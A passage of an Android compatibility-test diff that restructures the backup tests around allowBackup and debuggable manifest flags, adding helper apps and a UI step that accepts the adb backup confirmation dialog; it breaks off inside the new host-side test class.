+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/backup/AdbBackupApp/AndroidManifest.xml b/hostsidetests/backup/AdbBackupApp/AndroidManifest.xml
new file mode 100644
index 0000000..1d65109
--- /dev/null
+++ b/hostsidetests/backup/AdbBackupApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.adbbackupapp">
+
+ <application android:label="AdbBackupApp"/>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.adbbackupapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AdbBackupApp/src/android/cts/backup/adbbackupapp/AdbBackupApp.java b/hostsidetests/backup/AdbBackupApp/src/android/cts/backup/adbbackupapp/AdbBackupApp.java
new file mode 100644
index 0000000..44e6a2a
--- /dev/null
+++ b/hostsidetests/backup/AdbBackupApp/src/android/cts/backup/adbbackupapp/AdbBackupApp.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.adbbackupapp;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Provides device side routines for running {@code adb backup}. To be invoked by the host side
+ * {@link BackupEligibilityHostSideTest}. These are not designed to be called in any other
+ * way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class AdbBackupApp {
+ private static final int CONFIRM_DIALOG_TIMEOUT_MS = 30000;
+
+ @Test
+ public void clickAdbBackupConfirmButton() throws Exception {
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ BySelector confirmButtonSelector = By.res("com.android.backupconfirm:id/button_allow");
+ UiObject2 confirmButton =
+ device.wait(Until.findObject(confirmButtonSelector), CONFIRM_DIALOG_TIMEOUT_MS);
+
+ assertNotNull("confirm button not found", confirmButton);
+ assumeTrue(confirmButton.isEnabled());
+
+ confirmButton.click();
+ }
+}
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
deleted file mode 100644
index c79b87c..0000000
--- a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2017 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.cts.backup.backupnotallowedapp">
-
- <application android:label="BackupAllowedApp">
- <uses-library android:name="android.test.runner" />
- </application>
-
- <instrumentation
- android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.cts.backup.backupnotallowedapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
deleted file mode 100644
index 57efe7c..0000000
--- a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2017 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.cts.backup.backupnotallowedapp">
-
- <application android:label="BackupNotAllowedApp"
- android:allowBackup="false">
- <uses-library android:name="android.test.runner" />
- </application>
-
- <instrumentation
- android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.cts.backup.backupnotallowedapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
deleted file mode 100644
index ed65e73..0000000
--- a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup.backupnotallowedapp;
-
-import static androidx.test.InstrumentationRegistry.getTargetContext;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.Random;
-
-/**
- * Device side routines to be invoked by the host side AllowBackupHostSideTest. These are not
- * designed to be called in any other way, as they rely on state set up by the host side test.
- *
- */
-@RunWith(AndroidJUnit4.class)
-@AppModeFull
-public class AllowBackupTest {
- public static final String TAG = "AllowBackupCTSApp";
- private static final int FILE_SIZE_BYTES = 1024 * 1024;
-
- private Context mContext;
-
- private File mDoBackupFile;
- private File mDoBackupFile2;
-
- @Before
- public void setUp() {
- mContext = getTargetContext();
- setupFiles();
- }
-
- private void setupFiles() {
- File filesDir = mContext.getFilesDir();
- File normalFolder = new File(filesDir, "normal_folder");
-
- mDoBackupFile = new File(filesDir, "file_to_backup");
- mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
- }
-
- @Test
- public void createFiles() throws Exception {
- // Make sure the data does not exist from before
- deleteAllFiles();
- assertNoFilesExist();
-
- // Create test data
- generateFiles();
- assertAllFilesExist();
-
- Log.d(TAG, "Test files created: \n"
- + mDoBackupFile.getAbsolutePath() + "\n"
- + mDoBackupFile2.getAbsolutePath());
- }
-
- @Test
- public void checkNoFilesExist() throws Exception {
- assertNoFilesExist();
- }
-
- @Test
- public void checkAllFilesExist() throws Exception {
- assertAllFilesExist();
- }
-
- private void generateFiles() {
- try {
- // Add data to all the files we created
- addData(mDoBackupFile);
- addData(mDoBackupFile2);
- Log.d(TAG, "Files generated!");
- } catch (IOException e) {
- Log.e(TAG, "Unable to generate files", e);
- }
- }
-
- private void deleteAllFiles() {
- mDoBackupFile.delete();
- mDoBackupFile2.delete();
- Log.d(TAG, "Files deleted!");
- }
-
- private void addData(File file) throws IOException {
- file.getParentFile().mkdirs();
- byte[] bytes = new byte[FILE_SIZE_BYTES];
- new Random().nextBytes(bytes);
-
- try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
- bos.write(bytes, 0, bytes.length);
- }
- }
-
- private void assertAllFilesExist() {
- assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
- assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
- }
-
- private void assertNoFilesExist() {
- assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
- assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
- }
-}
diff --git a/hostsidetests/backup/AllowBackup/Android.bp b/hostsidetests/backup/BackupEligibility/Android.bp
similarity index 100%
rename from hostsidetests/backup/AllowBackup/Android.bp
rename to hostsidetests/backup/BackupEligibility/Android.bp
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/Android.bp
similarity index 100%
rename from hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp
rename to hostsidetests/backup/BackupEligibility/BackupAllowedApp/Android.bp
diff --git a/hostsidetests/backup/BackupEligibility/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..9c416cc
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.backupeligibilityapp">
+
+ <application android:label="BackupAllowedApp">
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/Android.bp
similarity index 100%
rename from hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp
rename to hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/Android.bp
diff --git a/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..e399a11
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/BackupNotAllowedApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.backupeligibilityapp">
+
+ <application android:label="BackupNotAllowedApp"
+ android:allowBackup="false">
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/DebuggableApp/Android.bp b/hostsidetests/backup/BackupEligibility/DebuggableApp/Android.bp
new file mode 100644
index 0000000..7b15c39
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/DebuggableApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// An app used to verify 'adb backup' is enabled for debuggable apps.
+android_test_helper_app {
+ name: "DebuggableApp",
+ defaults: ["cts_defaults"],
+ static_libs: ["CtsAllowBackupLib"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/backup/BackupEligibility/DebuggableApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/DebuggableApp/AndroidManifest.xml
new file mode 100644
index 0000000..a4ace14
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/DebuggableApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.backupeligibilityapp">
+
+ <application android:label="DebuggableApp"
+ android:debuggable="true">
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/NonDebuggableApp/Android.bp b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/Android.bp
new file mode 100644
index 0000000..c11bb63
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// An app used to verify 'adb backup' is disabled for non-debuggable apps.
+android_test_helper_app {
+ name: "NonDebuggableApp",
+ defaults: ["cts_defaults"],
+ static_libs: ["CtsAllowBackupLib"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/backup/BackupEligibility/NonDebuggableApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/AndroidManifest.xml
new file mode 100644
index 0000000..b09e4ba
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/NonDebuggableApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.backupeligibilityapp">
+
+ <application android:label="NonDebuggableApp"
+ android:debuggable="false">
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.backupeligibilityapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/BackupEligibility/src/BackupEligibilityTest.java b/hostsidetests/backup/BackupEligibility/src/BackupEligibilityTest.java
new file mode 100644
index 0000000..0c071d1
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/src/BackupEligibilityTest.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.backupeligibilityapp;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side AllowBackupHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ *
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class BackupEligibilityTest {
+ public static final String TAG = "AllowBackupCTSApp";
+ private static final int FILE_SIZE_BYTES = 1024 * 1024;
+
+ private Context mContext;
+
+ private File mDoBackupFile;
+ private File mDoBackupFile2;
+
+ @Before
+ public void setUp() {
+ mContext = getTargetContext();
+ setupFiles();
+ }
+
+ private void setupFiles() {
+ File filesDir = mContext.getFilesDir();
+ File normalFolder = new File(filesDir, "normal_folder");
+
+ mDoBackupFile = new File(filesDir, "file_to_backup");
+ mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
+ }
+
+ @Test
+ public void createFiles() throws Exception {
+ // Make sure the data does not exist from before
+ deleteFilesAndAssertNoneExist();
+
+ // Create test data
+ generateFiles();
+ assertAllFilesExist();
+
+ Log.d(TAG, "Test files created: \n"
+ + mDoBackupFile.getAbsolutePath() + "\n"
+ + mDoBackupFile2.getAbsolutePath());
+ }
+
+ @Test
+ public void deleteFilesAndAssertNoneExist() {
+ deleteAllFiles();
+ assertNoFilesExist();
+ }
+
+ @Test
+ public void checkNoFilesExist() throws Exception {
+ assertNoFilesExist();
+ }
+
+ @Test
+ public void checkAllFilesExist() throws Exception {
+ assertAllFilesExist();
+ }
+
+ private void generateFiles() {
+ try {
+ // Add data to all the files we created
+ addData(mDoBackupFile);
+ addData(mDoBackupFile2);
+ Log.d(TAG, "Files generated!");
+ } catch (IOException e) {
+ Log.e(TAG, "Unable to generate files", e);
+ }
+ }
+
+ private void deleteAllFiles() {
+ mDoBackupFile.delete();
+ mDoBackupFile2.delete();
+ Log.d(TAG, "Files deleted!");
+ }
+
+ private void addData(File file) throws IOException {
+ file.getParentFile().mkdirs();
+ byte[] bytes = new byte[FILE_SIZE_BYTES];
+ new Random().nextBytes(bytes);
+
+ try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+ bos.write(bytes, 0, bytes.length);
+ }
+ }
+
+ private void assertAllFilesExist() {
+ assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
+ assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
+ }
+
+ private void assertNoFilesExist() {
+ assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
+ assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
+ }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
deleted file mode 100644
index d8ceb0f..0000000
--- a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup;
-
-import static org.junit.Assert.assertNull;
-
-import android.platform.test.annotations.AppModeFull;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.After;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Test checking that allowBackup manifest attribute is respected by backup manager.
- *
- * Uses 2 apps that differ only by 'allowBackup' manifest attribute value.
- *
- * Tests 2 scenarios:
- *
- * 1. App that has 'allowBackup=false' in the manifest shouldn't be backed up.
- * 2. App that doesn't have 'allowBackup' in the manifest (default is true) should be backed up.
- *
- * The flow of the tests is the following:
- * 1. Install the app
- * 2. Generate files in the app's data folder.
- * 3. Run 'bmgr backupnow'. Depending on the manifest we expect either 'Success' or
- * 'Backup is not allowed' in the output.
- * 4. Uninstall/reinstall the app
- * 5. Check whether the files were restored or not depending on the manifest.
- *
- * Invokes device side tests provided by
- * android.cts.backup.backupnotallowedapp.AllowBackupTest.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-@AppModeFull
-public class AllowBackupHostSideTest extends BaseBackupHostSideTest {
-
- private static final String ALLOWBACKUP_APP_NAME = "android.cts.backup.backupnotallowedapp";
- private static final String ALLOWBACKUP_DEVICE_TEST_CLASS_NAME =
- ALLOWBACKUP_APP_NAME + ".AllowBackupTest";
-
- /** The name of the APK of the app that has allowBackup=false in the manifest */
- private static final String ALLOWBACKUP_FALSE_APP_APK = "BackupNotAllowedApp.apk";
-
- /** The name of the APK of the app that doesn't have allowBackup in the manifest
- * (same as allowBackup=true by default) */
- private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
-
- @After
- public void tearDown() throws Exception {
- // Clear backup data and uninstall the package (in that order!)
- clearBackupDataInLocalTransport(ALLOWBACKUP_APP_NAME);
- assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
- }
-
- @Test
- public void testAllowBackup_False() throws Exception {
- installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
-
- // Generate the files that are going to be backed up.
- checkAllowBackupDeviceTest("createFiles");
-
- getBackupUtils().backupNowAndAssertBackupNotAllowed(ALLOWBACKUP_APP_NAME);
-
- assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
-
- installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
-
- checkAllowBackupDeviceTest("checkNoFilesExist");
- }
-
- @Test
- public void testAllowBackup_True() throws Exception {
- installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
-
- // Generate the files that are going to be backed up.
- checkAllowBackupDeviceTest("createFiles");
-
- // Do a backup
- getBackupUtils().backupNowAndAssertSuccess(ALLOWBACKUP_APP_NAME);
-
- assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
-
- installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
-
- checkAllowBackupDeviceTest("checkAllFilesExist");
- }
-
- private void checkAllowBackupDeviceTest(String methodName)
- throws DeviceNotAvailableException {
- checkDeviceTest(ALLOWBACKUP_APP_NAME, ALLOWBACKUP_DEVICE_TEST_CLASS_NAME,
- methodName);
- }
-
-}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java
new file mode 100644
index 0000000..7993030
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java
@@ -0,0 +1,222 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static org.junit.Assert.assertNull;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test verifying backup eligibility rules are respected.
+ *
+ * <p>Tests the following scenarios:
+ * <ol>
+ * <li>App that has {@code allowBackup=false} in the manifest shouldn't be backed up by {@code
+ * adb shell bmgr}.
+ * <li>App that doesn't have {@code allowBackup} in the manifest (default is true) should be
+ * backed up by {@code adb shell bmgr}.
+ * <li>App that has {@code debuggable=true} in the manifest should be backed up by {@code adb
+ * backup}.
+ * <li>App that has {@code debuggable=false} in the manifest shouldn't be backed up by in
+ * {@code adb backup}.
+ * </ol>
+ *
+ * <p>Invokes device side tests provided by
+ * {@link android.cts.backup.backupnotallowedapp.BackupEligibilityTest} and
+ * {@link android.cts.backup.adbbackupapp.AdbBackupApp}.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
+public class BackupEligibilityHostSideTest extends BaseBackupHostSideTest {
+ private static final String BACKUP_ELIGIBILITY_APP_NAME
+ = "android.cts.backup.backupeligibilityapp";
+ private static final String ADB_BACKUP_APP_NAME = "android.cts.backup.adbbackupapp";
+ private static final String BACKUP_ELIGIBILITY_DEVICE_TEST_CLASS_NAME =
+ BACKUP_ELIGIBILITY_APP_NAME + ".BackupEligibilityTest";
+ private static final String ADB_BACKUP_DEVICE_SIDE_CLASS_NAME =
+ ADB_BACKUP_APP_NAME + ".AdbBackupApp";
+ private static final String BACKUP_RESTORE_CONFIRMATION_PACKAGE = "com.android.backupconfirm";
+ private static final String ADB_BACKUP_FILE = "adb_backup_file.ab";
+
+ /** The name of the APK of the app that has allowBackup=false in the manifest */
+ private static final String ALLOWBACKUP_FALSE_APP_APK = "BackupNotAllowedApp.apk";
+
+ /** The name of the APK of the app that doesn't have allowBackup in the manifest
+ * (same as allowBackup=true by default) */
+ private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
+
+ /** The name of the APK of the app that has {@code debuggable=false} in the manifest. */
+ private static final String DEBUGGABLE_FALSE_APP_APK = "NonDebuggableApp.apk";
+ /** The name of the APK of the app that has {@code debuggable=true} in the manifest. */
+ private static final String DEBUGGABLE_TRUE_APP_APK = "DebuggableApp.apk";
+ private static final String ADB_BACKUP_APP_APK = "AdbBackupApp.apk";
+
+ @After
+ public void tearDown() throws Exception {
+ // Clear backup data and uninstall the package (in that order!)
+ clearBackupDataInLocalTransport(BACKUP_ELIGIBILITY_APP_NAME);
+ assertNull(uninstallPackage(BACKUP_ELIGIBILITY_APP_NAME));
+ }
+
+ /**
+ * <ol>
+ * <li>Install the app
+ * <li>Generate files inside the app's data folder.
+ * <li>Run {@code bmgr backupnow} and assert 'Backup is not allowed' is printed.
+ * <li>Uninstall / reinstall the app
+ * <li>Assert no files have been restored.
+ * </ol>
+ */
+ @Test
+ public void testAllowBackup_False() throws Exception {
+ installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+ // Generate the files that are going to be backed up.
